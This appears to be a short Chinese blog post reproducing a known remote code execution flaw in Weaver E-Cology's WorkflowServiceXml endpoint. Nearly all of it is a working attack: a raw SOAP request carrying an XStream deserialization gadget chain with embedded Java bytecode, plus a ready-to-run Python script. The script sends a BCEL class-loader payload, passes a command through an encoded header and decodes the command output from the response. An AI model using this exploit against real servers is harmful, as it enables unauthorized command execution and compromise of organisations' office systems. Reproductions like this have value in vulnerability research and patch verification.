泛微E-Cology WorkflowServiceXml RCE 复现
之前的老洞。复现了一下下
POST /services%20/WorkflowServiceXml HTTP/1.1 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 35203 Host: x.x.x.x cmd: whoami User-Agent: Apache-HttpClient/4.1.1 (java 1.5) cmd: whoami Connection: close <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:doCreateWorkflowRequest> <web:string> <?xml version="1.0" ?><java.util.PriorityQueue serialization="custom"><unserializable-parents></unserializable-parents><java.util.PriorityQueue><default><size>2</size><comparator class="org.apache.commons.beanutils.BeanComparator"><property>outputProperties</property><comparator class="org.apache.commons.collections.comparators.ComparableComparator"></comparator></comparator></default><int>3</int><com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"><com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl><default><__name>Pwnr</__name><__bytecodes><byte-array>yv66vgAAADIAjQoAAwAiBwCLBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL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AAGAAkAAAB4pwADAUy4AC+2ADMSNbYAO00sEj0BtgBDTi0BAbYAScAASzoEGQQSTbYAUQGlAD4ZBBJNtgBROgUZBLYAVcAAVzoGGQa5AF0BADoHGQe7AF9ZuABlGQW2AGm2AG+3AHISdLYAeLYAfLYAgqcADToIGQi2AImnAAOxAAEAJABqAG0AhAABAIoAAAAaAAQD/wBmAAUABQcAPwcARQcASwAAQgcAhAkAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array><byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array></__bytecodes><__transletIndex>-1</__transletIndex><__indentNumber>0</__indentNumber></default><boolean>false</boolean></com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl></com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl><com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"></com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl></java.util.PriorityQueue></java.util.PriorityQueue>
</web:string> <web:string>2</web:string> </web:doCreateWorkflowRequest> </soapenv:Body> </soapenv:Envelope>
脚本
#! /usr/bin/env python # -*- coding: utf-8 -*- import urllib import random import base64 import requests def encode(cmd): res = base64.b64encode(cmd) strs = res[::-1] return strs def decode(content): content = urllib.unquote(content) strs = content[::-1] res = base64.b64decode(strs) return res def exploit(url,cmd='ipconfig'): expurl = url + "/services%20/WorkflowServiceXml" cookies = {"JSESSIONID": "abcyPRTxFtGCX_WSXoKxx", "ecology_JSessionid": "abcyPRTxFtGCX_WSXoKxx", "testBanCookie": "test"} headers = { "WWW-Authenticate": encode(cmd), "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close" } data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:doCreateWorkflowRequest> <web:string> <java.util.PriorityQueue serialization='custom'>   <unserializable-parents/>   <java.util.PriorityQueue>     <default>       <size>2</size>       <comparator class='javafx.collections.ObservableList$1'/>     </default>     <int>3</int>     <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>       <dataHandler>         <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>           <contentType>text/plain</contentType>           <is class='java.io.SequenceInputStream'>             <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>               <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>                 <names class='java.util.AbstractList$Itr'>                   <cursor>0</cursor>                   <lastRet>-1</lastRet>                   <expectedModCount>0</expectedModCount>                   <outer-class class='java.util.Arrays$ArrayList'>                     <a class='string-array'>                       <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$adW$7bx$U$d5$V$ff$dddwg2$99$85dB$C$83$P$96$Aq$Bw$X$d0$a2N$88$92$c4$60$C$nh6$Y$D$C$$$b3$93dawf$9d$9d$rPk$d5$96$be_V$5b$w$b6$b5j$a5i$edCm$eb$s$r$82$b6$a5h$a9$7d$d1$aa$ad$c5$dab$dfO$fb$f8$a3_$bf$7e$a4$e7$cef$93$y$d9$K$7f4_rg$ee9$e7$fe$ce$fb$dc$c9$893$87$8f$CX$85$7fH$88$a0_$c4$80$88A$J$J$ec$92$mb$b7$88$q$7f$a6$E$98$o$y$Ri$R$b7$8a$b0$rd$e0$f0$r$xa$P$86$E$ec$95P$85$7d$C$de$yA$c1m$7cy$8b$80$db$r$d4$a2$9f$_o$e5$cb$j$i$e9N$Rw$f1$83o$T$f0v$J$Xc$bf$80w$88x$a7$84$Q$de$r$e1$ddx$P_$de$x$e2$7d$9c$f2$7e$R$l$Q$f0A$R$l$Sq7$b7$ef$c3$9cz$8f$88$7bE$7cD$c0G$f9$ee$80$80$8f$89$b8O$c2A$dc$_$e0$e3$S$b9$d2$_$e0$T$S$$$c7$t$f9$f2$A_$ee$e0$e4Oq$fd$P$KxH$82$c6$cd$ea$c4$c3$9c$f2i$be$7dD$c2$n$7c$86o$87E$7c$96$e3$7eN$c4$a3$o$3e$_$e2$L$o$be$c8$Z_$e2$3e$3c$s$e2q$RO$88$f8$b2$80$af0$f8$d6$q$cc$84s5Cyp$e9$8d$M$9eV$xn0$cc$eeL$98FW6$b5$d3$b0$7bb$3b$93D$a94$f6$gz$ab$95J$c5$cc8CC$b0sWlO$y$92$8c$99$D$91$a8c$t$cc$81$c6$a53I$M$fe$a8$T$d3wo$8c$a5$5d$Y$ca$81$80$af$KxR$40$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da$ea$d4$baIm$bd$c3$98EFk$fe$fd$95l$f8$cc$dd$c3$f0lx$82$ca$c0f$c7$d8$Jj$s$b0$93$ec$Fz$e6$db$f4Qj$L$60$F$95$c4$w$g$bc$97Q$a3$ae$a6B$b8$8a$g$ae$91$9ap$Nu$ca$d5$b4k$c6Z$b4$a2$D$d7R$b1$ac$a36jG$8av66$e06$9a$f9w$d2$ac$bf$9bJ$e9$Qq$P$T$ea$v$g$e7$af$p$ca$Yz$98$88$cdLE$_$L$e2$s$WF$l$bb$C$5b$d9z$dcLm$ba$9d$r$b1$83$edG$9c$3dD$cfCH$b0Q$ecb$c7$b0$9b$3d$8b4Yj$b2$e7$d1$ceN$oK$d6f$d8$8b$d8$e3$b6$ef$83$a8$Y$c7$O$de$O$3b$E$dc$o$m$s$60$a7$fb$d2Px$a1$3ao$m$d5T$faO$a2$fa$5cb$$$87$7e$f5B$7f4$d3$3aNC$c8$7f$k$t$81$W$ea$f4$7f$83$8d$c3$cb$3b$8e$ef$f8$e5$Ww$87$a0$f1_$h$85$f7$ae8$S$A$A </string>                     </a>                   </outer-class>                 </names>                 <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>                   <parent class='sun.misc.Launcher$ExtClassLoader'>                   </parent>                   <package2certs class='hashtable'/>                   <classes defined-in='java.lang.ClassLoader'/>                   <defaultDomain>                     <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>                     <principals/>                     <hasAllPerm>false</hasAllPerm>                     <staticPermissions>false</staticPermissions>                     <key>                     </key>                   </defaultDomain> <domains class="java.util.Collections$SynchronizedSet" serialization="custom">         <java.util.Collections_-SynchronizedCollection>           <default>             <c class="set"></c>             <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>           </default>         </java.util.Collections_-SynchronizedCollection>       </domains>                  <packages/>                   <nativeLibraries/>                   <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>                   <defaultAssertionStatus>false</defaultAssertionStatus>                   <classes/>                   <ignored__packages>                     <string>java.</string>                     <string>javax.</string>                     <string>sun.</string>                   </ignored__packages>                   <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>                     <__path>                       <paths/>                       <class__path>.</class__path>                     </__path>                     <__loadedClasses/>                   </repository>                   <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>                 </processorCL>               </iterator>               <type>KEYS</type>             </e>             <in class='java.io.ByteArrayInputStream'>               <buf></buf>               <pos>0</pos>               <mark>0</mark>               <count>0</count>             </in>           </is>           <consumed>false</consumed>         </dataSource>         <transferFlavors/>       </dataHandler>       <dataLen>0</dataLen>     </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>     <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>   </java.util.PriorityQueue> </java.util.PriorityQueue></web:string> <web:string>2</web:string> </web:doCreateWorkflowRequest> </soapenv:Body> </soapenv:Envelope>''' resp = requests.post(expurl, headers=headers, cookies=cookies, data=data) if '&error=' in resp.content and 'Auth=' in resp.content: result = resp.content.split('&error=')[0] result = result.replace('Auth=','') print decode(result) if __name__ == '__main__': import sys if len(sys.argv)<3: print 'python '+sys.argv[0]+' url cmd' else: url = sys.argv[1] cmd = sys.argv[2] exploit(url,cmd)